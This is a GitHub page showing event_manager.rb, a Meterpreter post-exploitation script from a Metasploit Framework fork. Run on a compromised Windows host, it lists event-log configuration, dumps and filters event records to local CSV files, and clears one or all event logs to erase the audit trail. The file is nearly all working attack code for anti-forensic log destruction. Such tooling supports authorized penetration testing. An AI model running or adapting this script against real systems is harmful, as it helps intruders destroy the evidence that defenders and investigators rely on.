forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathevent_manager.rb
246 lines (212 loc) · 6.56 KB
/
event_manager.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
# $Id$
# $Revision$
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
eventlog_name = nil
print_logs = false
list_logs = false
clear_logs = false
local_log = false
local_log_path = nil
supress_print = false
filter = '\d*'
filter_string = "*"
meter_type = client.platform
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu" ],
"-i" => [ false, "Show information about Event Logs on the System and their configuration"],
"-l" => [ true, "List a given Event Log."],
"-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"],
"-f" => [ true, "Event ID to filter events on"],
"-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"],
"-p" => [ false, "Supress printing filtered logs to screen"]
)
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage(opts)
print_line "Meterpreter Script for Windows Event Log Query and Clear."
print_line(opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this script!")
raise Rex::Script::Completed
end
# Function for Enumerating EventLogs
#-------------------------------------------------------------------------------
def get_log_details
logs_detail = Array.new
eventlog_list.each do |log_name|
# Create a hash to store the log info in (and throw default info in)
log_detail = Hash.new
log_detail[:name] = log_name
log_detail[:retention] = "Disabled"
log_detail[:size] = 0
log_detail[:number_of_records] = 0
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/
key = "#{key}Eventlog"
else
key = "#{key}eventlog"
end
begin
unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end
log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize")
# Open the event log
eventlog = @client.sys.eventlog.open(log_name)
log_detail[:num_of_records] = eventlog.length
rescue
log_detail[:num_of_records] = "Access Denied"
end
logs_detail << log_detail
end
return logs_detail
end
# Function for Printing Event Log Details
#-------------------------------------------------------------------------------
def print_log_details
print_status("Retriving Event Log Configuration")
tbl = Rex::Ui::Text::Table.new(
'Header' => "Event Logs on System",
'Indent' => 1,
'Columns' => [
"Name",
"Retention",
"Maximum Size",
"Records"
])
eventlog_details = get_log_details
eventlog_details.each do |log_detail|
tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]]
end
print_line("\n" + tbl.to_s + "\n")
end
# Function for doings queries of EventLogs
#-------------------------------------------------------------------------------
def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print)
begin
event_data = ""
csv_data = "EventID,Date,Data\n"
log = @client.sys.eventlog.open(eventlog_name)
log.each_backwards do |e|
if e.eventid.to_s =~ /#{filter}/
if not sup_print
print_status("EventID: #{e.eventid}")
print_status("Date: #{e.generated}")
print_status("Data:")
e.strings.each do |l|
l.split("\r\n").each do |ml|
print_status("\t#{ml.chomp}")
event_data << " #{ml.chomp}"
end
end
print_status
end
csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n"
event_data = ""
end
end
rescue
print_error("Failed to Open Event Log #{eventlog_name}")
raise Rex::Script::Completed
end
if local_log
log_file = File.join(logs, "#{eventlog_name}.csv")
print_good("CSV File saved to #{log_file}")
file_local_write(log_file,csv_data)
end
end
# Function for clearing EventLogs
#-------------------------------------------------------------------------------
def clear_logs(log_name=nil)
log_names = []
if log_name.nil?
log_names = eventlog_list
else
log_names << log_name
end
log_names.each do |name|
begin
print_status("Clearing #{name}")
event_log = @client.sys.eventlog.open(name)
event_log.clear
print_status("Event Log #{name} Cleared!")
rescue
print_error("Failed to Clear #{name}, Access Denied")
end
end
return log_names
end
################## Main ##################
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage(opts)
when "-i"
print_logs = true
print_log_details
raise Rex::Script::Completed
when "-c"
clear_logs = true
eventlog_name = val
when "-l"
list_logs = true
eventlog_name = val
when "-f"
filter = val
when "-s"
local_log = true
if File.directory?(val)
local_log_path = val
else
print_error("Log folder #{val} does not exist!")
raise Rex::Script::Completed
end
when "-p"
supress_print = true
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Print usage & exit if the user didn't specify an action
# to default to just running for all logs)
if !list_logs and !clear_logs and !print_logs
usage(opts)
end
# Log Folder Creation
#-----------------------------------------------------------------------
#Get Hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for any local logging if the user desires
if local_log
if local_log_path
logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) )
end
::FileUtils.mkdir_p(logs)
end
# List the logs if the user desires
if list_logs and eventlog_name
list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print)
else
print_error("You must specify and eventlog to query!")
end
# Finally, clear the specified logs if the user desires
if clear_logs
if eventlog_name
clear_logs(eventlog_name)
else
eventlog_list.each do |eventlog_name|
print_status eventlog_name + ": "
clear_logs(eventlog_name)
end
end
end